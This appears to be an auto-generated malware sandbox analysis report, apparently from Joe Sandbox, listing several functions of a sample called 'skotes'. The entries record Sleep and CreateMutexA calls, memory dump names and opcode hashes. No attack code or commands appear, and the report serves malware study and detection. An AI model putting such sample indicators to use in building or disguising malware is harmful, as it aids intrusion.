Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: ba316e54604bd1c438bd5d680d80a3d5138e5ca7f2c0caff5f80fde613b83a94
Instruction ID: 642b8bf1bfc6f2276ff86b1e181c2873f9b7b6ba054d95f1cb9879ef5a1f8d42
Opcode Fuzzy Hash: ba316e54604bd1c438bd5d680d80a3d5138e5ca7f2c0caff5f80fde613b83a94
Instruction Fuzzy Hash: 08314971B00144EBDB18DBBCD88DBEDB622EB91311F204328E814AB2C5D7BD59888722

Function 0075A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 0da2b19d4f531bd8167fa78d41c86aed287a123f4ff894563cdedb1f7c24f697
Instruction ID: 3550c0c167a41a43757fe991e15966d41a2063328be02728f1fb26d5f76ff470
Opcode Fuzzy Hash: 0da2b19d4f531bd8167fa78d41c86aed287a123f4ff894563cdedb1f7c24f697
Instruction Fuzzy Hash: 11314E71B00144EBDB18DB78DC8DBEDB761EB81315F244328E854AB2D1E77D99988713

Function 0075A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: bb07a1b1203fa7e9a18f4a032200cc3410c379be57a80ebc9cbe961b28d0dc34
Instruction ID: 4e6e5ef7a3509c22af697360d7ba51bf8883daffdfe573d680c5693707446480
Opcode Fuzzy Hash: bb07a1b1203fa7e9a18f4a032200cc3410c379be57a80ebc9cbe961b28d0dc34
Instruction Fuzzy Hash: 16312971B00144EBEB18DB78DC8DBDDB772EB85311F248728E814AB2D1D7BD59888752

Function 00759ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: c2aa6d680c094d2fb732f59489a96c0bf7738490486b6645fa53c463bcb3b39d
Instruction ID: 0d4bfad04215f509c181339b90cf6c6046ba066a878b1ccd1b0e2fa27ec2b195
Opcode Fuzzy Hash: c2aa6d680c094d2fb732f59489a96c0bf7738490486b6645fa53c463bcb3b39d
Instruction Fuzzy Hash: 7D214F71704140EBEB189F68EC8D7ECB762EBD1311F104329E944D72D1DBBD59888712

Function 0075A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
